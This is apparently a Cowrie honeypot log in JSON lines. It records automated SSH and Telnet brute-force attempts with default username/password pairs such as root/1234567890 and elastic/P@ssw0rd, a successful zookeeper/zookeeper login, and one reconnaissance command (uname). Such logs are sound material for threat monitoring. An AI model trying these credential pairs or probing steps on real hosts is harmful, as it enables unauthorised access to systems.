{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:13.426445Z","src_ip":"45.156.87.69","session":"94566c16f8bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41868,"dst_ip":"10.17.0.5","dst_port":23,"session":"8277fcac84bc","protocol":"telnet","message":"New connection: 152.42.224.71:41868 (10.17.0.5:23) [session: 8277fcac84bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:13.823071Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:13.830778Z","src_ip":"45.156.87.69","session":"94566c16f8bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vtkmybrjd","message":"login attempt [root/vtkmybrjd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:14.235566Z","src_ip":"103.75.182.198","session":"5a8ae54d9ca6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:14.917916Z","src_ip":"45.156.87.69","session":"94566c16f8bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:15.491454Z","src_ip":"103.75.182.198","session":"5a8ae54d9ca6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":35152,"dst_ip":"159.203.135.109","dst_port":22,"session":"c80f639673cd","protocol":"ssh","message":"New connection: 45.156.87.69:35152 (159.203.135.109:22) [session: c80f639673cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:16.819648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:16.831620Z","src_ip":"45.156.87.69","session":"c80f639673cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:16.930304Z","src_ip":"45.156.87.69","session":"c80f639673cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"P@ssw0rd","message":"login attempt [elastic/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:17.252616Z","src_ip":"45.156.87.69","session":"c80f639673cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:18.338949Z","src_ip":"45.156.87.69","session":"c80f639673cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":35156,"dst_ip":"159.203.135.109","dst_port":22,"session":"7716ef2be0bf","protocol":"ssh","message":"New connection: 45.156.87.69:35156 (159.203.135.109:22) [session: 7716ef2be0bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:20.207798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:20.215269Z","src_ip":"45.156.87.69","session":"7716ef2be0bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:20.336606Z","src_ip":"45.156.87.69","session":"7716ef2be0bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"26","message":"login attempt [root/26] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:21.232924Z","src_ip":"45.156.87.69","session":"7716ef2be0bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:22.395759Z","src_ip":"45.156.87.69","session":"7716ef2be0bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":35170,"dst_ip":"159.203.135.109","dst_port":22,"session":"a21d72e1e343","protocol":"ssh","message":"New connection: 45.156.87.69:35170 (159.203.135.109:22) [session: a21d72e1e343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:23.884237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:23.894295Z","src_ip":"45.156.87.69","session":"a21d72e1e343","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:23.987178Z","src_ip":"45.156.87.69","session":"a21d72e1e343","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"root","message":"login attempt [server/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:24.612649Z","src_ip":"45.156.87.69","session":"a21d72e1e343","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:25.756223Z","src_ip":"45.156.87.69","session":"a21d72e1e343","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":13838,"dst_ip":"159.203.135.109","dst_port":22,"session":"873e8c6e8b1c","protocol":"ssh","message":"New connection: 45.156.87.69:13838 (159.203.135.109:22) [session: 873e8c6e8b1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:27.600360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:27.608797Z","src_ip":"45.156.87.69","session":"873e8c6e8b1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:27.726451Z","src_ip":"45.156.87.69","session":"873e8c6e8b1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38916,"dst_ip":"10.17.0.5","dst_port":23,"session":"d86c449a1f2c","protocol":"telnet","message":"New connection: 152.42.224.71:38916 (10.17.0.5:23) [session: d86c449a1f2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:27.966681Z"}
{"eventid":"cowrie.login.failed","username":"usman","password":"usman","message":"login attempt [usman/usman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:28.667033Z","src_ip":"45.156.87.69","session":"873e8c6e8b1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38918,"dst_ip":"10.17.0.5","dst_port":23,"session":"34fa4af30fed","protocol":"telnet","message":"New connection: 152.42.224.71:38918 (10.17.0.5:23) [session: 34fa4af30fed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:28.996993Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:29.885195Z","src_ip":"45.156.87.69","session":"873e8c6e8b1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":13854,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c157588860a","protocol":"ssh","message":"New connection: 45.156.87.69:13854 (159.203.135.109:22) [session: 5c157588860a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:31.343447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:31.573526Z","src_ip":"45.156.87.69","session":"5c157588860a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:31.577113Z","src_ip":"45.156.87.69","session":"5c157588860a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"keycloak","password":"keycloak","message":"login attempt [keycloak/keycloak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:32.678283Z","src_ip":"45.156.87.69","session":"5c157588860a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:33.878682Z","src_ip":"45.156.87.69","session":"5c157588860a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":13860,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c03450194ae","protocol":"ssh","message":"New connection: 45.156.87.69:13860 (159.203.135.109:22) [session: 5c03450194ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:35.092340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:35.259994Z","src_ip":"45.156.87.69","session":"5c03450194ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:35.264055Z","src_ip":"45.156.87.69","session":"5c03450194ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"localhost","message":"login attempt [root/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:36.034716Z","src_ip":"45.156.87.69","session":"5c03450194ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:37.251333Z","src_ip":"45.156.87.69","session":"5c03450194ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":64252,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b27ce888c84","protocol":"ssh","message":"New connection: 45.156.87.69:64252 (159.203.135.109:22) [session: 4b27ce888c84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:39.053845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:39.095632Z","src_ip":"45.156.87.69","session":"4b27ce888c84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:39.207670Z","src_ip":"45.156.87.69","session":"4b27ce888c84","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"zookeeper","password":"zookeeper","message":"login attempt [zookeeper/zookeeper] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:39.759815Z","src_ip":"45.156.87.69","session":"4b27ce888c84","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:40.044659Z","src_ip":"45.156.87.69","session":"4b27ce888c84","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:40.048087Z","src_ip":"45.156.87.69","session":"4b27ce888c84","protocol":"ssh"}
